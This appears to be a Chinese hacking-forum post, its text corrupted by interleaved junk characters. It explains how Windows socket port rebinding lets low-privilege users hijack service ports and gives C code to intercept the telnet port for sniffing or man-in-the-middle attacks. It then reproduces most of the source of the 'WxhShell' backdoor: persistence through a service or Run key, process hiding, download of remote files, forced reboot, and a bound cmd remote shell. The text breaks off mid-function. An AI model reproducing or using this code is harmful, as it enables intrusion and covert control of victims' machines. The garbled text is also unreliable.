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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b f2 B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l^,"^vz e>a4v8 saddr.sin_family = AF_INET; DGY?4r7>y ='"hB~[ saddr.sin_addr.s_addr = htonl(INADDR_ANY); &|8R4l C| [ {|868 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |5h~&kA +LEU|# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *53@%9 {u 7B"*< %< 这意味着什么?意味着可以进行如下的攻击: u#&ZD| |_ u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )rce%j7 F#S)))#
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <hA1[S} g
AZe&"K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v.~uJ.T `Zm-F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 btV
Tt5 ys#V_ysb 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -T0@b8 (X?'}Ur 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [IgB78_$ `1T?\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u#c3T'E 9jC>OZ0s #include %9qG|A,cA #include [|)Eyd[G #include i7UE9Nyl* #include AzmISm DWORD WINAPI ClientThread(LPVOID lpParam); 8>KBh)q int main() :qQpBr$ { t;?TXAA WORD wVersionRequested; {}W9m)I DWORD ret; {#]vvO2~$ WSADATA wsaData; n:#gKR-J BOOL val; qyx
' SOCKADDR_IN saddr; ~}g"Fe SOCKADDR_IN scaddr; >>nt3q int err; MBO3y&\S4 SOCKET s; rphfW: SOCKET sc; Z|h&Zd1z int caddsize; 9P M\D@A{ HANDLE mt; %v_w"2x; DWORD tid; [It
E+{U wVersionRequested = MAKEWORD( 2, 2 ); +$b_,s err = WSAStartup( wVersionRequested, &wsaData ); +frkC| . if ( err != 0 ) { *u|bmt printf("error!WSAStartup failed!\n"); lg(*:To3B return -1; %~`y82r6 } W_C#a'$ saddr.sin_family = AF_INET; Eed5sm$H b\dzB\,& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X;hV+|Bo BJ]4j-^o saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _,U`Iq+X saddr.sin_port = htons(23); OjUZ-_J if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !='?+Ysxs { me7? printf("error!socket failed!\n"); {} #W~1` return -1; 4Hk eXS. } #} )OnM^], val = TRUE; qNH=
W?T8. //SO_REUSEADDR选项就是可以实现端口重绑定的 p7\}X. L if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D(m2^\O[ { U1Z.#ETnM printf("error!setsockopt failed!\n"); C`uZr k/ return -1; 8w:A"" } ex-0@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [|XMR=\> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u@;6r"8q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?!h
jI;_& 8BL]]gT-I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LSR{N|h+) { l(o#N'!j4 ret=GetLastError(); Ik4FVL8~ printf("error!bind failed!\n"); 4\cJ}p}LZ{ return -1; ;^Q- 1 } $IM}d"/9 listen(s,2); $P9'"a)Lm while(1) m0: IFE($ { D4@'C4kL caddsize = sizeof(scaddr); |>/T*zk< //接受连接请求 #s 4v0auK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *A2D}X3s if(sc!=INVALID_SOCKET) S? -6hGA
j { &YSjwRr
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5uVSbo. if(mt==NULL) ,)S(SnCF { cc*xHv^ printf("Thread Creat Failed!\n"); kM#ZpI&0% break; ;;A8TcE
' } H pZD^h?L } N"tEXb/, CloseHandle(mt); &jg..R } s.9)?<[ closesocket(s); ODggGB` H` WSACleanup(); 8Pkw'.r return 0; Z=L~W,0' } cZ<@1I5QK DWORD WINAPI ClientThread(LPVOID lpParam) 4
Qo(Wl { l8$7N=Y SOCKET ss = (SOCKET)lpParam; Vy-kogVt SOCKET sc; zqDG#}3f^ unsigned char buf[4096]; /2<1/[# SOCKADDR_IN saddr; U2lDTRt long num; i^i^g5l! DWORD val; ;Q1/53Y< DWORD ret; SR+<v=i //如果是隐藏端口应用的话,可以在此处加一些判断 9XH}/FcP_O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 yV'<l
.N saddr.sin_family = AF_INET; l2AAEB_C. saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )[w_LHKI saddr.sin_port = htons(23); ~h:/9q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l$>))cW! { fsA-}Qc printf("error!socket failed!\n"); PB
W.nm return -1; !oJ226>WI } i uNBw] val = 100; kVH^(Pi if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iG.qMf. { 5bfd8C ret = GetLastError(); 8,5H^Bi return -1; ,X&(BQj h } #S*@RKSE|7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K F:W:8 { 6F@2:]W ret = GetLastError(); k~YZT 8 return -1; miq"3 } `:4\RcTb/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kOQq+_Y
{ f19~B[a printf("error!socket connect failed!\n"); ftw@ nQNU closesocket(sc); aS7%x>.A! closesocket(ss); SU {U+ return -1; #nzVgV] } ;)SWUXa;{ while(1) TqZ&X|G { /IkSgKJiz\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y5v}EX`m& //如果是嗅探内容的话,可以再此处进行内容分析和记录 RH"&B` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W{{{c2 . num = recv(ss,buf,4096,0); Bl
>)G X\l if(num>0) _F"o0K!u send(sc,buf,num,0); Py3Y*YP else if(num==0) >o#^)LN break; +pq/:h num = recv(sc,buf,4096,0); --32kuF&( if(num>0) V&j
|St[ send(ss,buf,num,0); =>_k ;x else if(num==0) EE^
N01<"\ break; HoFFce7o } 9AbSt&# closesocket(ss); B F,rZZL closesocket(sc); 0D\b;ju< return 0 ; 6z (eW]p } 5z$>M3 rl<!h5 "(U%Vg|) ========================================================== +mr\AAFn .\W6XRw 下边附上一个代码,,WXhSHELL <0,szw #]BpTpRAe< ========================================================== ?;//%c8,. XHN`f#(w #include "stdafx.h" cITF=Ez X+:>&&9 #include <stdio.h> &)8-iO #include <string.h> nhUL{ER #include <windows.h> $oJ)W@> #include <winsock2.h> XO=UKk+EK #include <winsvc.h> T.=du$ #include <urlmon.h> @\!9dK-W 6]#\|lds1 #pragma comment (lib, "Ws2_32.lib") vfh0aW-O #pragma comment (lib, "urlmon.lib") !Gphs`YI `wyX)6A|bt #define MAX_USER 100 // 最大客户端连接数 9O%4x"*PO #define BUF_SOCK 200 // sock buffer ^w+jPT-n #define KEY_BUFF 255 // 输入 buffer xSQ0] vE m^8KHa #define REBOOT 0 // 重启 #2F 6} #define SHUTDOWN 1 // 关机 05|,-S (f5v{S6b( #define DEF_PORT 5000 // 监听端口 7jb{E+DrG S[J=d%( #define REG_LEN 16 // 注册表键长度 +dkbt%7M #define SVC_LEN 80 // NT服务名长度 *L%i-Wg" 4HG@moYn@ // 从dll定义API eBK s-2r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F^],p|4f typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +3c!.] o; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pvz*(u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XZcT-w7 4b" %171 // wxhshell配置信息 [ imC21U struct WSCFG { 3wS{@' int ws_port; // 监听端口 ^UF]%qqOn char ws_passstr[REG_LEN]; // 口令 )$#r6fQO int ws_autoins; // 安装标记, 1=yes 0=no V/0?0VKG char ws_regname[REG_LEN]; // 注册表键名 /mB'Fn6) char ws_svcname[REG_LEN]; // 服务名 [\h k_(} char ws_svcdisp[SVC_LEN]; // 服务显示名 JlR'w]d M, char ws_svcdesc[SVC_LEN]; // 服务描述信息 2u[:3K-@, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,_66U;T int ws_downexe; // 下载执行标记, 1=yes 0=no + *YGsM`E9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $z7[RLu0! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C?n3J N*PF&MyB }; Dm@wTt8N( E)Z$7;N0x // default Wxhshell configuration CfMq?.4%E} struct WSCFG wscfg={DEF_PORT, Fr%LV#Q "xuhuanlingzhe", ]Q\Ogfjp 1, gTK5z.] "Wxhshell", :<%q9)aPf` "Wxhshell", AgsMk "WxhShell Service", :E|HP#iwu "Wrsky Windows CmdShell Service", n9;+RhxA "Please Input Your Password: ", `_]Z#X&&h 1, .+G),P) " http://www.wrsky.com/wxhshell.exe", w;.'>ORC "Wxhshell.exe" 5Wj+ey^^w }; -jB1tba +#5nk,1c> // 消息定义模块 , #yE#8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H_'i.t 'SS char *msg_ws_prompt="\n\r? for help\n\r#>"; W{Cc wq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =*.Nt*;; char *msg_ws_ext="\n\rExit."; pRtxyL"y char *msg_ws_end="\n\rQuit."; "(}xIsy char *msg_ws_boot="\n\rReboot..."; s-eC' )w~E char *msg_ws_poff="\n\rShutdown..."; 0(s0<9s% char *msg_ws_down="\n\rSave to "; Xj^6ZJc Z*d8b char *msg_ws_err="\n\rErr!"; c=l
3Sz? char *msg_ws_ok="\n\rOK!"; ?lv{;4BC MN2# char ExeFile[MAX_PATH]; ~UjFL~K} int nUser = 0; pN<wO1\9 HANDLE handles[MAX_USER]; p.q:vI$J int OsIsNt; b=a&!r5M w:Fi
2aJ SERVICE_STATUS serviceStatus; Q>nq~#3? SERVICE_STATUS_HANDLE hServiceStatusHandle; (Q !4\Gy >Fm}s, // 函数声明 *=L3bBu? int Install(void); aG?ko*A; int Uninstall(void); t=iSMe int DownloadFile(char *sURL, SOCKET wsh); 4NL TtK int Boot(int flag); irCS}Dbw void HideProc(void); 58*s\*V`\ int GetOsVer(void); @FL?,_,Y{ int Wxhshell(SOCKET wsl); FG7}MUu void TalkWithClient(void *cs); !v|j C int CmdShell(SOCKET sock); *L8Pj`zR int StartFromService(void); <Mo_GTOC! int StartWxhshell(LPSTR lpCmdLine); U9IP`)z_5t \_FX}1Wc2. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^ Sx0t VOID WINAPI NTServiceHandler( DWORD fdwControl ); l?~SH[V 9i WDEk // 数据结构和表定义 cj-P&D[Ny[ SERVICE_TABLE_ENTRY DispatchTable[] = *52*IRH { ,v:m {wscfg.ws_svcname, NTServiceMain}, OA2<jrGB! {NULL, NULL} aksyr$d0V< }; Lm\N` 7X.rGJZq // 自我安装 0F sz int Install(void) S2K_>kvG)~ { -;'8#"{`^ char svExeFile[MAX_PATH]; L5"" HKEY key; ZA zn-n strcpy(svExeFile,ExeFile); ?"PUw3V3lB .&.j?kb // 如果是win9x系统,修改注册表设为自启动 K8doYN if(!OsIsNt) { A D=@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wm4@+} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D61CO-E(D RegCloseKey(key); }kI-UEn$EP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?8. $A2(Xw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /ZZo`
RegCloseKey(key); j]}A"8=1 return 0; tYiK#N7 } 2}>jq8Y47 } `h_,I R< } NY\q else { M4pEwD R_\{a*lV0 // 如果是NT以上系统,安装为系统服务 szMh}q"u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D4<nS<8 if (schSCManager!=0) !Sfy'v. { |Y"q. n77 SC_HANDLE schService = CreateService !!4_x ( _Xd,aLoo schSCManager, ii0AhQ wscfg.ws_svcname, Q.#@xaX'{` wscfg.ws_svcdisp, v'Gqdd-#) SERVICE_ALL_ACCESS, y$7Fq' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -fuSCj SERVICE_AUTO_START, S*Scf~Qp SERVICE_ERROR_NORMAL, 7g_:Gv~v svExeFile, [c]X)
@#S NULL, 16)@<7b]J NULL, lBh|+KN NULL, lZZ4 O( NULL, E{sTxOI$ NULL OaRtGJnR ); B;Ab`UX#t if (schService!=0) G*uy@s: { Fh9`8 CloseServiceHandle(schService); Kf2*|ZHj CloseServiceHandle(schSCManager); ]h~=lItTRZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1uz9zhG>< strcat(svExeFile,wscfg.ws_svcname); x0@J~
_0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A;m)/@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zI8Q "b RegCloseKey(key); ]=of=T: return 0; K2>(C$Z } yZ)GP!cM4c } [tym~ZZ]_m CloseServiceHandle(schSCManager); , .uu/qV}w } 1i4KZ"A5+ } x+l.04a@ JVf8KHDj return 1; wQWokpP;T7 } hNmC(saMGm 5 :6^533] // 自我卸载 n(l!T
7 int Uninstall(void) 'A
.c*<_ { $r *7)/ HKEY key; |`_qmk[:R HGfV2FtT z if(!OsIsNt) { ^'!]|^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &Z/aM? RegDeleteValue(key,wscfg.ws_regname); )dgXS//Y RegCloseKey(key); R}c,ahd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K#H}=Y A RegDeleteValue(key,wscfg.ws_regname); oh:q:St RegCloseKey(key); ~Wjm"|c return 0; wv<D%nF2| } /+pbO-r W* } U:m[*
}+< } KlGPuGL else { `}#(Ze*V: ]3wg-p+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2s>dlz if (schSCManager!=0) ne] |\] { w'z?1M(* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ewg&DBbN" if (schService!=0) J*$u { *gfx'$ if(DeleteService(schService)!=0) { -hj@^Auf CloseServiceHandle(schService); BM!\U 6 CloseServiceHandle(schSCManager); ^
}Rqe return 0; (m80isl } e}y oy+9 CloseServiceHandle(schService); 2%U)y;$m2 } U1bhd}MoR CloseServiceHandle(schSCManager); Q*}#?g } m d:$OC3 } Nl3x
BM% h\".TySz return 1; S453oG" } 4zs1BiMG 3IQ)%EN // 从指定url下载文件 H7n5k, int DownloadFile(char *sURL, SOCKET wsh) [T#5$J { U<{8nMB HRESULT hr; }VxbO8\b( char seps[]= "/"; Dw{rjK\TT' char *token; </F@5* char *file; &QO~p3M char myURL[MAX_PATH]; H6(kxpOI\ char myFILE[MAX_PATH]; FJKW=1=, O4@sN=o strcpy(myURL,sURL); $~vy,^ token=strtok(myURL,seps); HSGM&!5mW while(token!=NULL) R2WEPMH% { zJJ
KLr; file=token; =<w6yeko token=strtok(NULL,seps); Kk+IUs } J.Mj76\_ #TZf\0\! GetCurrentDirectory(MAX_PATH,myFILE); IB:eyq-+ strcat(myFILE, "\\"); !]1X0wo\ strcat(myFILE, file); %Z~,F? send(wsh,myFILE,strlen(myFILE),0); 08AC9 send(wsh,"...",3,0); N"MK 0k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); csE 9Ns if(hr==S_OK) TxAT )) return 0; >!O3 jb k else p'UY Ht return 1; = !7k/n'; w"d~R } iTsmUq<b]l ^|y6oj // 系统电源模块 h-
.V[]< int Boot(int flag) &No6k~T0:b { S|!)_RL HANDLE hToken; UwOZBF< TOKEN_PRIVILEGES tkp; Eyi^N0 `<&RZB2 if(OsIsNt) { ,73kh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z`UL)W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9EzXf+f tkp.PrivilegeCount = 1; j<H`<S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Kp?):6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ixF
'- if(flag==REBOOT) { [of{~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0<*R 0 return 0; xc)A`(g } `tA~"J$32l else {
O\y#|=d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,l`4)@{G return 0; f)w>V3~w, } $"&0 } 0S8v41i6 else { 's]I:06A if(flag==REBOOT) { ufF$7@(+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ut:>'TwG return 0; r0kJx$f } P2_UQ else { I^|6gaP|6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /V@~Vlww return 0; j3{8]D } #T<<{ RA } 1L722I@ 9sYN7x return 1; UjLZ!-} } 2{^k*Cfd tlhYk=yq // win9x进程隐藏模块 Y1RiuJtL void HideProc(void)
fNb2>1 { Lc,` H]e%8w))0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _ dFZR if ( hKernel != NULL ) 1 .\|,$ { =7%1] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !V|i\O|Q2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); On%21L;JG FreeLibrary(hKernel); hE.NW } <vS J<WY yVA<-PlS< return; /C)mx#h] } 9MfBsp}c U$CAA5HV] // 获取操作系统版本 Qw>ftle int GetOsVer(void) W
vh3Y,|3 {
N7%iz+ OSVERSIONINFO winfo; cp@(y$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gG"W~O)yv GetVersionEx(&winfo); d+FS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :4 9ttJl return 1; T)%34gN else GilaON*pK. return 0; >KF1]/y< } JP$@*F@t 8r"$o1! // 客户端句柄模块 ZJUTti D int Wxhshell(SOCKET wsl) Pl|e?Np { OVr,
{[r SOCKET wsh; Nb.AsIR^ struct sockaddr_in client; d=<"sHO DWORD myID; Oc\Bu6F w74)kIi while(nUser<MAX_USER) nXjf,J-T { ` fw: int nSize=sizeof(client); =#WoeWFW* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MUo}Qi0K if(wsh==INVALID_SOCKET) return 1; [x}]sT`#a P'Q|0lB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h\+U+?u if(handles[nUser]==0) |e+8Xz1> closesocket(wsh); kpc3l[.A else K-D{Z7J^l nUser++; bs-O3w }
s>}ScJZK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?m&?BsW$) r;3{%S._ return 0; !>$tRW?gH~ } q}-q[p?
5 T /iKz // 关闭 socket j3j<01rq void CloseIt(SOCKET wsh) 7^Y "K { lq2Ah=FuN closesocket(wsh); o*5<Cxg nUser--; u nE h ExitThread(0); 8KqrB! } 5<o8prtB bZ!*s // 客户端请求句柄 lR5<
G void TalkWithClient(void *cs) F,2)Udim { U1pL
`P1 Uloa]X=Im8 SOCKET wsh=(SOCKET)cs; qTM,'7Rwn char pwd[SVC_LEN]; *P4G}9B|9: char cmd[KEY_BUFF]; HWe?vz$4" char chr[1]; 9
yH/5' int i,j; @4h{# an+`>}]F while (nUser < MAX_USER) { J!?hajw7N HCP'V if(wscfg.ws_passstr) { sQt]Y&_/@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @eQIwz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /[f9Z:>V //ZeroMemory(pwd,KEY_BUFF); 6?-vj2, i=0; fVCpG~&t while(i<SVC_LEN) { ]Lg$p ]MjQr0&M // 设置超时
<^j,jX fd_set FdRead; H]@M00C struct timeval TimeOut; xA|72!zk0P FD_ZERO(&FdRead); ><odBM- FD_SET(wsh,&FdRead); V+7x_>!&) TimeOut.tv_sec=8; P;R`22\3 TimeOut.tv_usec=0; =]r<xON%S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YEGRM$'` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {Lj]++`fB] iU^KmM I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wi3:;`>G<p pwd =chr[0]; T/NeoU3 p if(chr[0]==0xd || chr[0]==0xa) { `TvpKS5.Y pwd=0; %<@."uWF* break; ,v;P@RL|g } #T0uPK
; i++; H+&c=~D\_ } d`>'< uW*)B_c // 如果是非法用户,关闭 socket b(8#*S!U if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _hgu: } *g
=ey?1S
^J,Zl`N send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {ETuaFDM send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m,i@ VfS&V*un while(1) { @ i$jyc @1_M's; ZeroMemory(cmd,KEY_BUFF); HyKvDJ
3_ I5[HD_g: // 自动支持客户端 telnet标准 ,Y|WSKY* j=0; +Tnn'^4 while(j<KEY_BUFF) { ,tt]C~\u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zS]8ma cmd[j]=chr[0]; 6?an._ C if(chr[0]==0xa || chr[0]==0xd) { 5;{Q >n cmd[j]=0; .!yXto: break; 'CiV=&3/ } &jJj6
+P\ j++;
"<f"r# } |X :"AH"S rr/0pa$ // 下载文件 V/C":!; if(strstr(cmd,"http://")) { Fk01j;k.H send(wsh,msg_ws_down,strlen(msg_ws_down),0); (* WO<V if(DownloadFile(cmd,wsh)) nksx|i l send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7noxUGmFw else ^Ec);Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Li[ :L } 0q6$KP}q else { Bf
{h\>q mUFg(;ya switch(cmd[0]) { -:mT8'.F- i8CO+Iv*{ // 帮助 (^x , case '?': { 565UxG
} send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^! ?wh break; NGsG4y^g?z } 3[*E>:)qh // 安装 zQpF,N<b case 'i': { -?T:> *]p if(Install()) AmSrc. send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ek axSR else 2`2S94' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [FhFeW> break; EZICH&_ } 7RE'KH_$ // 卸载 /XfE6SBz case 'r': { puE!7:X7 if(Uninstall()) }q-* Ls~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); h^Bp^V5# else C"X; ,F< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S5a?KU break; 3m2hB%SNb } 9d5|rk8VS // 显示 wxhshell 所在路径 tCoT-\Q case 'p': { "9>.,nzt char svExeFile[MAX_PATH]; aaa6R|>0 strcpy(svExeFile,"\n\r"); \piHdVD strcat(svExeFile,ExeFile); ^)\z send(wsh,svExeFile,strlen(svExeFile),0); }iOFB&)w break; k;)t}7(
} $7\! // 重启 [\41 case 'b': { BH@b]bEJ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6qAs$[ if(Boot(REBOOT)) /b
]Yya# send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|n)ZP2cp else { }VetaO2* closesocket(wsh); wO>P<KBU ExitThread(0); e\ Igc. } vCj,aSW break; PPj_NV } L("zS%qr // 关机 J.t tJOP case 'd': { 948 lL& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); # Vq"Cf if(Boot(SHUTDOWN)) KV1/!r+* send(wsh,msg_ws_err,strlen(msg_ws_err),0); E;*JD x else { X3# AYn, closesocket(wsh); i,3[0*ge ExitThread(0); 3$~6+i } 2PaRbh{" break; s]lIDp} } *'BA#
/@ // 获取shell x!@ 3.$ case 's': { M@TXzn!&o CmdShell(wsh); 5:T)hoF@ closesocket(wsh); W)OoHpdw ExitThread(0); &a/F"?9jL break; $t1XoL } #0F6{&;
M // 退出 SniKCqmC] case 'x': { 2{`[<w send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C{5^UCJkg CloseIt(wsh); 0Na/3cz|zg break; "&@v[O)!xu } `3QAXDWE // 离开 s{30#^1R case 'q': { p,cw-lN send(wsh,msg_ws_end,strlen(msg_ws_end),0); r6x"D3 closesocket(wsh);
n}f*>Mn WSACleanup(); dM^1O-K: exit(1); `H#G/zOr break; .3Ag6YI0N } 83|7#L } CSBk } doj$chy 5Vj t!%?r // 提示信息 QnJ(C]cW if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O!
t>
@%) } i#RT4}l"a } "=/YPw^0 uPvE;E_ return; /HiRbwQK# } <O]TM-h ;`(l)X+7 // shell模块句柄 4?vTuZ/
M int CmdShell(SOCKET sock) u\uY q { KK|AXoBf STARTUPINFO si; e; #"t ZeroMemory(&si,sizeof(si)); bt2`elH| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]a
,H!0i si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mh8{`W & PROCESS_INFORMATION ProcessInfo; ~|>q)4is6a char cmdline[]="cmd"; MD62ObK! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~$@~X*K~ return 0; Alh"ZT^* } 2X@|H %`F&,!d // 自身启动模式 GmJ4AYEP int StartFromService(void) z;F6:aBa { ;hcOD4or typedef struct !}[,ODJ4 d { ,o\-'
DWORD ExitStatus; 2VY.#9vl DWORD PebBaseAddress; TS~>9h\; DWORD AffinityMask; <691pkX DWORD BasePriority; ;YYo^9Lh} ULONG UniqueProcessId; r*gQGvc ULONG InheritedFromUniqueProcessId; T/b%,!N) } PROCESS_BASIC_INFORMATION; [RqL0EP "G+g(?N]j PROCNTQSIP NtQueryInformationProcess; M
